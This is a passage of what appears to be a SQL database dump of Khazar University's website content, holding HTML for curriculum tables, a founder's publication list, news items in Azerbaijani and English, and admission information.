203</td><td>Cytology, histology and embryology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>BIO 217</td><td>Plant physiology</td><td>&nbsp;</td></tr><tr><td>BIO 222</td><td>Systematical zoology</td><td>&nbsp;3</td></tr><tr><td>BIO 312</td><td>Human anatomy</td><td>&nbsp;3</td></tr><tr><td>BIO 321</td><td>Systematical botanics</td><td>&nbsp;3</td></tr><tr><td>BIO 365</td><td>Human and animal physiology</td><td>&nbsp;3</td></tr><tr><td>BIO 403</td><td>Molecular biology</td><td>&nbsp;3</td></tr><tr><td>BIO 404&nbsp;<br></td><td>Genetics and selection</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Elective Biology Courses</strong>&nbsp;<br></td><td><strong>&nbsp;12</strong></td></tr><tr><td>BIO 412</td><td>Central nervous system</td><td>&nbsp;3</td></tr><tr><td>BIO 422</td><td>Membranology</td><td>&nbsp;3</td></tr><tr><td>BIO 433</td><td>Entomology and&nbsp; plant protection</td><td>&nbsp;3</td></tr><tr><td>BIO 434&nbsp;<br></td><td>Microbiology(other electice courses)</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods of Teaching</strong></td><td><strong>&nbsp;6</strong></td></tr><tr><td>EDU&nbsp;<br></td><td>Teaching Methods of Chemistry&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>EDU&nbsp;<br></td><td>Teaching Methods of Biology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Core Education Courses&nbsp;</strong><br></td><td><strong>&nbsp;6</strong></td></tr><tr><td>EDU 201&nbsp;<br></td><td>Introduction to Education&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>PSYC 304&nbsp;<br></td><td>Basics of Educational Psychology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td><strong>&nbsp;</strong><br></td><td><strong>Practicum and Internship</strong>&nbsp;<br></td><td><strong>&nbsp;9</strong></td></tr><tr><td><strong>TOTAL</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;132</strong></td></tr></tbody></table><p>&nbsp;</p><p><strong>Note:</strong>&nbsp;The school may also offer alternative courses to those listed above<em>.</em><em>&nbsp;</em></p>  <br></div>'),(1306,836,'en',' Bachelor Degree Program in History and Geography Education',' Bachelor Degree Program in History and Geography Education','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><h3><strong>Bachelor Degree Program in History and Geography Education</strong></h3><p>This program is composed of 2 related sciences. The program is based on professional knowledge and skills in history and geography science with a diversity of teaching methods. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p>&nbsp;</p><table width=\"411\" height=\"891\"><tbody><tr><td><strong>Code</strong></td><td><strong>Courses</strong></td><td><strong>Credits</strong></td></tr><tr><td><strong>University Requirements</strong></td><td>&nbsp;</td><td><strong>24</strong></td></tr><tr><td><strong>General Education Requirements</strong></td><td>&nbsp;</td><td><strong>21</strong></td></tr><tr><td><strong>Major Requirements</strong></td><td>&nbsp;</td><td><strong>84</strong></td></tr><tr><td><strong>&nbsp;</strong><br></td><td><strong>Core Geography Courses</strong></td><td><strong>21</strong></td></tr><tr><td>GEOG 102)</td><td>Earth studies (Yerşunaslıq)</td><td>3</td></tr><tr><td>GEOG 204</td><td>Meteorology and Hydrology</td><td>3</td></tr><tr><td>GEOG 301</td><td>Phycical Geography of the World</td><td>3</td></tr><tr><td>ENV 302</td><td>Environmental Science</td><td>3</td></tr><tr><td>GEOG 302</td><td>Phycical Gepgraphy of the Azerbaijan</td><td>3</td></tr><tr><td>GEOG 401</td><td>Economic and Social Gepgraphy of the Azerbaijan</td><td>3</td></tr><tr><td>GEOG 402</td><td>Economic and Social Gepgraphy of the World</td><td>3</td></tr><tr><td>&nbsp;</td><td><strong>Elective Geography Courses</strong></td><td><strong>9</strong></td></tr><tr><td>GEOG 211</td><td>Cartography</td><td>&nbsp;</td></tr><tr><td>GEOG 201</td><td>World Regional Geography</td><td>3</td></tr><tr><td>GEOG 312</td><td>Turism</td><td>3</td></tr><tr><td>GEOG 412</td><td>Geography of the Turkic World</td><td>3</td></tr><tr><td>ENV</td><td>Environmental Management</td><td>3</td></tr><tr><td>&nbsp;</td><td><strong>Core History Courses</strong></td><td><strong>21</strong></td></tr><tr><td>HIST110</td><td>History of the World Civillizations-1</td><td>3</td></tr><tr><td>HIST 203</td><td>History of the World Civillizations-2</td><td>3</td></tr><tr><td>HIST 303</td><td>History of Azerbaijan-1</td><td>3</td></tr><tr><td>HIST 304</td><td>History of Azerbaijan-2</td><td>3</td></tr><tr><td>HIST 321</td><td>History of Medieval Europe</td><td>3</td></tr><tr><td>HIST 322</td><td>History of Modern Europe</td><td>3</td></tr><tr><td>HIST 403</td><td>History of Medieval and Modern East</td><td>3</td></tr><tr><td>HIST 404</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><strong>Elective History Courses</strong></td><td><strong>12</strong></td></tr><tr><td>HIST 412</td><td>History of Turks</td><td>3</td></tr><tr><td>HIST 315</td><td>Archeology</td><td>3</td></tr><tr><td>HIST 217</td><td>History of the Origins and Development of Islam</td><td>3</td></tr><tr><td>HIST 320</td><td>Ethnology</td><td>3</td></tr><tr><td>HIST 317</td><td>International Status of Azerbaijan in 1917-1920</td><td>3</td></tr><tr><td>HIST 415</td><td>History of Caucasia</td><td>3</td></tr><tr><td>&nbsp;</td><td>(others)</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><strong>Methods of Teaching</strong></td><td><strong>6</strong></td></tr><tr><td>EDU 437</td><td>Teaching Methods of History</td><td>3</td></tr><tr><td>EDU 438</td><td>Teaching Methods of Geography</td><td>3</td></tr><tr><td>&nbsp;</td><td><strong>Core Education Courses</strong></td><td><strong>6</strong></td></tr><tr><td>EDU 201</td><td>Introduction to Education</td><td>3</td></tr><tr><td>PSYC 304</td><td>Basics of Educational Psychology</td><td>3</td></tr><tr><td><strong>Practicum and Internship</strong></td><td>&nbsp;</td><td><strong>12</strong></td></tr><tr><td><strong>TOTAL</strong></td><td>&nbsp;</td><td><strong>132</strong></td></tr></tbody></table><p><strong><em>Note:</em></strong><em>&nbsp;The school may also offer alternative courses to those listed above.</em></p><div><em><br></em></div></div></div>  <br></div>'),(1333,845,'en','Publications','Publications','<p style=\"\" mso-margin-top-alt:auto;margin-bottom:6.0pt;text-align:justify;line-height:150%;background:white\"\"=\"\">More than 350 published works: research articles in\r\nMathematics, Education, Humanities and Social Sciences; monographies,\r\ntextbooks, book chapters and creative writings in Mathematics, History of\r\nScience and Culture, Education, Language and Translation Studies, Poetry.\r\nCompiler and/or Editor of numerous textbooks, books, dictionaries, transactions\r\nof conferences, journals.&nbsp;</p><h3><strong><span style=\"font-size:12.0pt;line-height:150%\">Selected Recent Publications (2010 –\r\nhitherto) </span></strong></h3><ul><li>Isaxanli, Hamlet. “Azerbaijan Love Poetry: 4th\r\nBook”. <em>Book</em>. Edited by Hamlet\r\nIsaxanli. Baku: Khazar University Press, 2018. [in Azerbaijani]</li><li>“Khazar English-Azerbaijani Comprehensive Dictionary\r\nin 6 volumes”. Vol. 4. Edited by Hamlet Isaxanli. Baku: Khazar University\r\nPress, 2018.</li><li>“Musical Poems.\r\nSongs and Romances Composed on the Lyrics by Hamlet Isaxanli”. <em>Book</em>. Co-authored by Hamlet Isaxanli. Vol. 1.\r\nBaku: Khazar University Press, 2018.</li><li>“Encounters and Interweavings in the Caucasus: a\r\nlong-term history of Cross-cultural Transfers”. <em>Special Issue of Khazar Journal of Humanities and Social Sciences.</em>\r\nCo-edited by Hamlet Isaxanli. Baku: Khazar University Press, 2018.</li><li>Isakhanli, Hamlet&nbsp;(et al.) “Higher Education\r\nTransformation, Institutional Diversity and Typology of Higher Education\r\nInstitutions in Azerbaijan” Book chapter <em>25\r\nYears of Transformations of Higher Education Systems in Post-Soviet Countries</em>.\r\nPalgrave Studies in Global Higher Education. Palgrave Macmillan, 2018.</li><li>Isaxanli, Hamlet. “Friedrich Bodenstedt on the\r\nEthnic and Cultural Diversity of the Caucasus”. Book chapter in <em>“Encounters and Interweavings in the\r\nCaucasus: A Long-term History of Cross-cultural Transfers”</em> (accepted\r\nfor publication in Baku, February 2018, in English and in Paris, May 2018, in\r\nFrench)</li><li>Isakhanli, Hamlet. “On the Class of Linear\r\nOperators Associated with the Multiparameter Spectral Theory”. <em>Journal of Applied and Computational\r\nMathematics </em>(accepted for publication)</li><li>Isakhanli, Hamlet. “Vanity Accompanied by\r\nMusic”. <em>Story.</em> <em>Khazar Review</em> 362, (2017): 64-75. [in Azerbaijani]</li><li>Isakhanli, Hamlet. “Knowledge of Polymath\r\nWalks, Talks, Makes Waves, Turns into Deeds” Interview by Waqas Ahmed. <em>Khazar Journal of Humanities and Social\r\nSciences</em>, Vol. 20, no. 1, (2017): 93-111. <a href=\"http://jhss-khazar.org/wp-content/uploads/2016/11/11.66.Intervyuu..pdf\" target=\"_blank\">DOI: 10.5782/2223-2621.2017.20.1.92</a></li><li>Isakhanli, Hamlet. “Koroghlu in American Poetry and Music”. <em>Article</em>. <em>Khazar Review</em> 358, (2017): 32-38. [in Azerbaijani] (will be\r\npublished in English)</li><li>Isakhanli, Hamlet. <em>Eurasian Academy. Love for Truth and Beauty</em>. Baku: Khazar\r\nUniversity Press, 2016.</li><li>Isakhanli, Hamlet, “Tide-table of Liam Fox”,\r\nReview of <em>Rising Tides: facing the\r\nChallenges of a New Era </em>by Liam Fox<em>.</em>\r\nOregon: Heron Books, 2013; <em>Khazar Journal\r\nof Humanities and Social Sciences</em>, Vol. 18, no. 3 (2015): 104-109. DOI: 10.5782/2223-2621.2015.18.3.104.</li><li>Isakhanli, Hamlet. “Magnificence of\r\nShahriyar and ‘Greeting to Heydarbaba’”. <em>525-ci\r\nqəzet</em> [Newspaper 525th]. September 26, 2016. [in Azerbaijani]</li><li>Isakhanli, Hamlet. “Heritage of N. Tusi,\r\nAbout its Investigation and Translation. From the Scientific Editor”. See: <em>Khaja Nasireddin Tusi. Tajrid al-Etiqad</em>.\r\nTranslation and commentary by E. M. Mammadov. Baku: Araz (2015): 4-8. [in\r\nAzerbaijani]</li><li>Isakhanli, Hamlet. “Plato and Philosophy\r\nof Love”. Khazar University: philosophical-psychological talks/seminars. <em>Khazar Review</em> 341, (2015): 26-41. [in\r\nAzerbaijani]</li><li>Isahanli, Gamlet. “Olen Helmi Simpukassa:\r\nAzerbaidzanilaisen lyrikan antologia”. Book chapter in <em>The Anthology of Azerbaijan\'s Lyric</em>. Compiled by T. Djafarova.\r\nHelsinki: Ntamo, 2014. [in Finnish]</li><li>Isakhanli, Hamlet. “History and Policy of\r\nTranslating Poetry: Azerbaijan and Its Neighbors”. <em>Meta: Journal des Traducteurs</em>. Vol. 59, no. 2 (2014): 310-329. Montreal: Les Presses\r\nde l’Université de Montréal. <a href=\"http://id.erudit.org/iderudit/1027478ar\">http://id.erudit.org/iderudit/1027478ar</a>&nbsp;&nbsp;</li><li>Isakhanli, Hamlet. “Diversification of\r\nPost-Secondary Education in Azerbaijan”. Book chapter in <em>The Diversification of Post-Secondary Education</em>. Edited by N.V. Varghese.\r\nInternational Institute for Educational Planning, UNESCO, (2014): 45-57.</li><li>Isakhanli, Hamlet. “Wavering Azerbaijani\r\nLiterati Views of America: From the Russian Tsarist through the Modern\r\nPeriods”. <em>Journal of American Studies</em>.\r\nCambridge University Press (2014). Available\r\non: DOI:10.1017/S0021875813001990.”</li><li>Isahanlı, Hamlet. “Praise to Autumn”.\r\nTranslated by Imdat Afshar. Istanbul: IQ Kültür Sanat Yayıncılık [IQ Culture\r\nand Art Publishing], 2014. [in Turkish]</li><li>Isakhanli, Gamlet. “Where are we?”; “Good\r\nand Evil”. Translated by Igor Pavlyk. Poems in <em>Special Azerbaijani Issue</em> of <em>Vsesvit\r\n– Review of World Literature</em>. No. 11-12 (2014): 30-32. [in Ukranian]</li><li>Isakhanli, Hamlet. “Major Rivers Flow from\r\nthe West to the East: Azerbaijan and China”. Book chapter in <em>China with the Eyes of Azerbaijanis</em>. Baku:\r\nLetterpress Publishing House (2013): 169-184. [in Azerbaijani and in Russian]</li><li>Isakhanli, Hamlet. “How Acquaintance\r\nHappens with the Religions: environment, science and book”. Introductory article\r\nof <em>Acquaintance with the Major Religions,</em>\r\nby Huseyn Tovfiqi. Baku: Khazar University Press (2013): 9-23. [in Azerbaijani]</li><li>Essays on Science and Society, <em>New Baku Post</em> (2012). Also: <em>Khazar Review</em> (2012) [in Azerbaijani]:</li><li>“Garages That Changed the World”</li><li>“Forms of salutation. History and today”</li><li>“Lenin as he was…”</li><li>“Charity and Power”</li><li>“The scientist\'s conscience, fame and\r\nmisfortune”</li><li>“Who is the Sir? – He is Taylor”</li><li>“The Caos Created by Butterfly”</li><li>“Story of the Light”</li><li>“Strange and Complex World”</li><li>“Compulsory Education Idea: history and\r\ntoday, cause and consequence”</li><li>Isakhanli, Hamlet. “High Mathematical Culture\r\nand Nobility Manifestation’. Book chapter in <em>Foothold (Zahid Khalilov-100)</em>. Baku: Qismet (2011): 184-195. [in\r\nAzerbaijani]</li><li>Isakhanli, Hamlet. “Huns in Eurasia.\r\nHistory, Culture and Identity”. Book chapter in <em>Science and Art Assembly 11-20</em>. Designed and edited by Hamlet\r\nIsakhanli. 2<sup>nd</sup> book. Baku: Khazar University Press (2011): 45-89.\r\n[in Azerbaijani]</li><li>Isaxanli, Hamlet. “Philosophy of the Past\r\nand How to Write History”. Series of 19 articles. <em>Khazar Review</em> 284-302, (April 2010 – December 2011) [in\r\nAzerbaijani]</li><li>Isaxanli, Hamlet. “On Philosophy,\r\nHistory and Management of Quality in Education”. <em>Journal of Azerbaijani Studies</em> (<em>Khazar\r\nJournal of Humanities and Social Sciences</em> from 2011), Vol. 13, no. 1, (2010):\r\n62-87;Vol. 13, no. 2, (2010): 52-64, Vol. 13, no. 3, (2010): 45-57</li></ul>'),(2613,1571,'az','Xəzər Universitetinin müəllimi Beynəlxalq elmi konfransda iştirak etmişdir','2016-cı il noyabrın 14-ü və 15-də I Türkoloji Qurultayın 90 illiyinə həsr olunmuş “Türkoloji Elmi-Mədəni Hərəkatda Ortaq Dəyərlər və Yeni Çağırışlar” mövzusunda beynəlxalq...','<p>2016-cı il\r\nnoyabrın 14-ü və 15-də I Türkoloji Qurultayın 90 illiyinə həsr olunmuş\r\n“Türkoloji Elmi-Mədəni Hərəkatda Ortaq Dəyərlər və Yeni Çağırışlar” mövzusunda\r\nbeynəlxalq konfrans keçirildi.</p>\r\n<p>Azərbaycan\r\nRespublikası Təhsil Nazirliyi,&nbsp; Azərbaycan Respublikası Mədəniyyət və\r\nTurizm Nazirliyi, Azərbaycan Milli Elmlər Akademiyasının Rəyasət Heyəti, AMEA Nəsimi\r\nadına Dilçilik İnstitutu, AMEA Nizami adına Ədəbiyyat İnstitutu, AMEA akademik\r\nZ.Bünyadov adına Şərqşünaslıq İnstitutunun birlikdə təşkil etdikləri&nbsp;\r\nkonfransda Xəzər Universiteti Təhsil fakültəsinin tələbələri Ema Niftəliyeva,\r\nSevda Fərəcova, Xatirə Ağayeva, İlahə Qasımzadə,&nbsp; Nizami Əlisoy iştirak etdilər.\r\nXəzər Universitetində “Türk xalqları ədəbiyyatı” fənnini tədris edən dosent,\r\nfil.ü.f.d. Elmira Məmmədova-Kekecin rəhbərliyi ilə adları qeyd edilən tələbələr\r\n“Türkologiya” jurnalının konfrans çərçivəsində təşkil etdiyi dəyirmi masanın fəal\r\nüzvlərinə çevrildilər. Dəyirmi masa jurnalın baş redaktoru akademik Kamal\r\nAbdullayevin sədrliyi ilə keçirildi. Dəyirmi masada tələbələr Azərbaycan və\r\nxarici ölkələrin görkəmli alimləri ilə tanış oldular. Görüş çərçivəsində Əhməd\r\nBican Ercilasun, Osman Fikri Sərtqaya, Fikrət Türkmən, Ramazan Qorxmaz, Ramil\r\nValeyev, Ramiz Əsgər, Mehman Musaoğlu, Muxtar İmanov, Elbrus Əzizov kimi\r\ntürkoloq alimlər tələbələrin sualları cavablandırdılar.</p>\r\n<p>“Türkologiya”\r\njurnalının redaksiya heyəti tərəfindən həmin tələbələrin aktiv iştirakı yüksək\r\ndəyərləndirildi, növbəti aylarda da bu səpkidə seminar və görüşlərin keçirilməsi\r\nqərara alındı.</p>'),(2614,1568,'en','Legends of Two Cities Event','On November 18, 2016 at 12:00, an event entitled “Legends of Two Cities” will take place in Khazar University’s Training Room (Neftchilar Campus, next...','<p>On November 18,\r\n2016 at 12:00, an event entitled “Legends of Two Cities” will take place in\r\nKhazar University’s Training Room (Neftchilar Campus, next to Library and\r\nInformation Center). Library and Information Center staff members Saida Orujova\r\n(China Corner project manager) and Esmira Mehdiyeva (coordinator) are the event\r\ncoordinators. Participants in the event will include Confucius Institute\r\ninstructors and Khazar University students learning Chinese. </p>\r\n<p>Everyone who is\r\ninterested is welcome to attend.&nbsp;</p>'),(2666,1599,'en','Meeting with Head of Economics and Management Department','On November 21 and 23, 2016, Head of the Economics and Management Department Dr. Jeyhun Mammadov held a meeting with 3rd year bachelor students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 21 and 23, 2016, Head of the\r\nEconomics and Management Department Dr. Jeyhun Mammadov held a meeting with 3<sup>rd</sup>\r\nyear bachelor students. He provided detailed information about new curriculum\r\nand gave crucial advice on course selection for the spring semester.\r\nFurthermore, students were informed about the details of compulsory summer\r\ninternship. The meeting ended with a question-and-answer session.&nbsp;</p>'),(2615,1572,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.  <br><div><br></div>'),(2616,1572,'en','Examinations at Khazar','We present to you photos from our current examination session...','We present to you photos from our current examination session.  <br><div><br></div>'),(2591,1559,'az','ABİTURİENTLƏR  ','ABİTURİENTLƏR','<div><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\" width=\"690\" height=\"590\">\r\n<param name=\"src\" value=\"http://www.khazar.org/files/students/slider/khazar_brochure.swf\">\r\n<embed src=\"http://www.khazar.org/files/students/slider/khazar_brochure.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"690\" height=\"590\">\r\n</object>\r\n<br></div>'),(2592,1559,'en','PROSPECTİVE STUDENTS','PROSPECTİVE STUDENTS',''),(2593,1560,'az','NİYƏ XƏZƏR UNİVERSİTETİ ?','NİYƏ XƏZƏR UNİVERSİTETİ ?',''),(2877,1708,'az','Niyə  Xəzər Universiteti ?','Niyə  Xəzər Universiteti ?','<ul><li>Universitetin beynəlxalq aləmdə böyük nüfuzu&nbsp;<a href=\"/files/students/kohne%20bina.jpg\"><img src=\"/files/students/kohne%20bina.jpg\" style=\"width:300px;height:170px;margin:7px;float:right\"></a></li><li>İngilis dilində keyfiyyətli təhsil</li><li>Diplomların, bütün ixtisaslar üzrə,&nbsp;xarici ölkələrdə tanınması</li><li>Təhsil-tədris proqramlarının&nbsp;dünyanın qabaqcıl&nbsp;universitetlərindəki proqramlara&nbsp;uyğunluğu</li><li>Yüksək ixtisaslı xarici müəllimlərin&nbsp;çalışdığı və çoxsaylı xarici&nbsp;tələbələrin oxuduğu ali məktəb<a href=\"/files/students/DSC_9639.JPG\"><img src=\"/files/students/DSC_9639.JPG\" style=\"width:300px;height:170px;margin:7px;float:right\"></a></li><li>Nüfuzlu xarici universitetlərlə ikili&nbsp;dərəcə proqramlarının mövcudluğu</li><li>Ən geniş ixtisas seçimi və hər pillədə&nbsp;(bakalavr, magistr, doktor) təhsil&nbsp;alma imkanı</li><li>Eyni vaxtda 2 ixtisas üzrə təhsil&nbsp;almaq imkanı</li><li>Dövlət sifarişi əsasında ali təhsil&nbsp;almaq imkanı</li><li>Fənlərin seçimində tələbələrin&nbsp;istəklərinin nəzərə alınması</li><li><a href=\"/files/students/yataqxana.jpg\"><img src=\"/files/students/yataqxana.jpg\" style=\"width:300px;height:170px;float:right\"></a>Təhsil haqqının TQDK&nbsp;imtahanında yığılan ballara&nbsp;uyğun olaraq ödənilməsi</li><li>Yığılan ballara uyğun olaraq, bütün&nbsp;ixtisaslar üzrə tam ödənişsiz və ya&nbsp;güzəştli oxumaq imkanı</li><li>Təhsildə fərqlənənlərin təqaüd&nbsp;almaq imkanı</li><li>Təhsil haqqının hissə-hissə ödənilməsi</li><li>Əlavə ödəniş etmədən təhsilinin bir&nbsp;hissəsini Amerika, Avropa və Asiyanın&nbsp;tanınmış ali məktəblərində davam&nbsp;etdirmə imkanı<br></li><li>Zəngin kitabxana, innovativ laboratoriyalar,&nbsp;müasir informasiya-kommunikasiya&nbsp;texnologiyaları infrastrukturu</li><li>Yüksək standartlara cavab verən&nbsp;tələbə yataqxanası</li><li><a href=\"/files/students/IMG_3044%20-%20Copy.JPG\"><img src=\"/files/students/IMG_3044%20-%20Copy.JPG\" style=\"width:300px;height:170px;margin:7px;float:right\"></a>Yaxşı işə düzəlmə imkanları və uğurlu&nbsp;karyera</li><li>Keyfiyyətli və əhatəli tələbə xidmət&nbsp;sistemi (həkim, psixoloji mərkəz,&nbsp;karyera-işə düzəlmə mərkəzi və s.)</li><li>Anonim tələbə sorğusu vasitəsi ilə,&nbsp;müxtəlif məsələlər haqqında, tələbələrin&nbsp;rəyinin öyrənilməsi və nəzərə alınması</li></ul>'),(2878,1709,'az','İxtisaslarımız','İxtisaslarımız','<a href=\"\" \"=\"\" files=\"\" students=\"\" 03.jpg\"=\"\"></a><h3></h3><h3>1&nbsp;QRUP</h3><ul><li><a href=\"/files/students/DSC_8437.JPG\"><img src=\"/files/students/DSC_8437.JPG\" style=\"width:300px;height:198px;float:right\"></a><a href=\"http://www.khazar.org/files/students/slider/bukletler/Kompyuter%20M%C3%BCh%C9%99ndisliyi.pdf\">Kompyuter mühəndisliyi,&nbsp;Kompyuter&nbsp;elmləri</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Neft%20v%C9%99%20qaz%20m%C3%BCh%C9%99ndisliyi.pdf\">Neft-qaz mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0n%C5%9Faat%20M%C3%BCh%C9%99ndisliyi.pdf\">İnşaat mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Biotibbi%20texnologiya.pdf\">Biotibbi texnologiya&nbsp;mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Elektronika.pdf\">Elektronika, telekommunikasiya&nbsp;və radiotexnika&nbsp;mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Kimya%20m%C3%BCh%C9%99ndisliyi.pdf\">Kimya mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Mexanika%20m%C3%BCh%C9%99ndisliyi.pdf\">Mexanika mühəndisliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Riyaziyyat.pdf\">Riyaziyyat və informatika&nbsp;müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Fizika%20M%C3%BC%C9%99llimliyi.pdf\">Fizika müəllimliyi</a></li></ul><br>  <h3>2&nbsp;QRUP&nbsp;</h3><ul><li><a href=\"/files/students/IMG_2165.JPG\"><img src=\"/files/students/IMG_2165.JPG\" style=\"border:0px  #0000ee;width:300px;height:197px;margin:7px;float:right\"></a><a href=\"http://www.khazar.org/files/students/slider/bukletler/M%C3%BChasibat%20u%C3%A7otu%20v%C9%99%20audit.pdf\">Mühasibat uçotu&nbsp;və audit</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Maliyy%C9%99.pdf\">Maliyyə</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0qtisadiyyat.pdf\">İqtisadiyyat</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Marketinq.pdf\">Marketinq</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Bizness%20Menecment.pdf\">Biznesin&nbsp;idarə&nbsp;edilməsi,&nbsp;Menecment&nbsp;</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Turizm.pdf\">Turizm və otelçilik</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Co%C4%9Frafiya.pdf\">Coğrafiya müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Beyn%C9%99lxalq%20m%C3%BCnasib%C9%99tl%C9%99r.pdf\">Beynəlxalq&nbsp;münasibətlər</a> </li></ul><br><h3>3&nbsp;QRUP</h3><ul><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0ngilis%20dili.pdf\">İngilis&nbsp;dili&nbsp;və&nbsp;ədəbiyyatı,&nbsp;</a><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0ngilis%20dili.pdf\">İngilis&nbsp;dili&nbsp;müəllimliyi,</a><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0ngilis%20dili.pdf\">Tərcümə</a></li><li><a href=\"/files/students/lab2.jpg\"><img src=\"/files/students/lab2.jpg\" style=\"border:0px  #0000ee;width:300px;height:197px;margin:7px;float:right\"></a><a href=\"http://www.khazar.org/files/students/slider/bukletler/Az%C9%99rbaycan%20dili%20v%C9%99%20%C9%99d%C9%99biyyat%C4%B1.pdf\">Azərbaycan dili və\r\nədəbiyyatı&nbsp;(filologiya),&nbsp;Azərbaycan dili və&nbsp;ədəbiyyatı müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/%C4%B0btidai%20sinif%20m%C3%BC%C9%99llimliyi.pdf\">İbtidai sinif müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Tarix.pdf\">Tarix müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/dezayn%20son.pdf\">Dizayn</a></li></ul><br><p><br></p><p><br></p><h3>4&nbsp;QRUP<a href=\"/files/students/IMG_4700.JPG\"><img src=\"/files/students/IMG_4700.JPG\" style=\"width:300px;height:200px;float:right\"></a></h3><ul><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/Kimya%20v%C9%99%20biologiya%20m%C3%BC%C9%99llimliyi.pdf\">Biologiya&nbsp;müəllimliyi,  Kimya və biologiya&nbsp;müəllimliyi,&nbsp;Kimya&nbsp;müəllimliyi</a></li><li><a href=\"http://www.khazar.org/files/students/slider/bukletler/liflet%20psixologiya.pdf\">Psixologiya</a></li></ul>'),(2594,1560,'en','Start here','Start here','<p><strong>Prospective students for undergraduate programs</strong></p><table><tbody><tr><td><p>In order to receive admission to undergraduate programs, prospective students who are Azerbaijan nationals must submit the following documents:</p></td></tr></tbody></table><table><tbody><tr><td><ul><li><p>Official undergraduate test score from the State Student Admission Commission of Azerbaijan;</p></li></ul></td></tr><tr><td><ul><li><p>Official application of Khazar University.</p></li></ul></td></tr></tbody></table><p>Nationals of other countries can directly apply to the university from their home countries.</p><p>Different documents may be required for nationals of different countries, therefore</p><p>prospective international students should contact the&nbsp;<a href=\"http://old.khazar.org/s818/International-Affairs-Office/en\">International Affairs Office</a>&nbsp;for details.</p><p><strong>Prospective students for graduate programs</strong></p><table width=\"635\" height=\"24\"><tbody><tr><td>In order to gain admission to graduate programs, Azerbaijan nationals must submit the following documents:</td></tr></tbody></table><table width=\"637\" height=\"95\"><tbody><tr><td><ul><li>Official graduate test score from the State Student Admission Commission of Azerbaijan;</li></ul></td></tr><tr><td><ul><li>Copies of previous diplomas and transcripts;</li></ul></td></tr><tr><td><ul><li>Official application of Khazar University.</li></ul></td></tr></tbody></table><p>Nationals of other countries can directly apply to the university from their home countries.</p><p>Different documents may be required for nationals of different countries,</p><p>therefore prospective international students should contact the&nbsp;<a href=\"http://old.khazar.org/s820/International-Admissions\"></a><a href=\"http://old.khazar.org/s818/International-Affairs-Office/en\">International Affairs Office</a>&nbsp;for details.</p>'),(2595,1561,'az','Qəbul haqqında məlumat','Qəbul haqqında məlumat',''),(2596,1561,'en','Admission information','Admission information',''),(2597,1562,'az','Tədbirlər','Tədbirlər',''),(2598,1562,'en','Events','Events',''),(2599,1563,'az','Videolar','Videolar',''),(2600,1563,'en','Videos','Videos',''),(2601,1564,'az','Şəkillər','Şəkillər',''),(2602,1564,'en','Photos','Photos',''),(2603,1565,'az','Faydalı linklər','Faydalı linklər',''),(2604,1565,'en','Useful links','Useful links',''),(2606,1566,'en','Hamlet Isaxanli’s Article in “Mirnazim Asadullayev:  Faithful to the Profession” Book ','In November 2016, a 336-page book entitled “Mirnazim Asadullayev:  Faithful to the Profession” was published in Nurlar Publication and Polygraphy Center with the...','<p>In November 2016, a 336-page book\r\nentitled “Mirnazim Asadullayev:&nbsp; Faithful to the Profession” was published\r\nin Nurlar Publication and Polygraphy Center with the support of the Ministry of\r\nCulture and Tourism of the Azerbaijan Republic. The author of the book is Ahsan\r\nRahmanli. An article entitled “Thank you, Dear Mirnazim!” by Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees was included in the “Interviews, Memories, Thoughts…”\r\nsection of the book.</p>'),(1334,846,'az',' Departament, institut və mərkəz rəhbərləri',' Departament, institut və mərkəz rəhbərləri','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Akademik 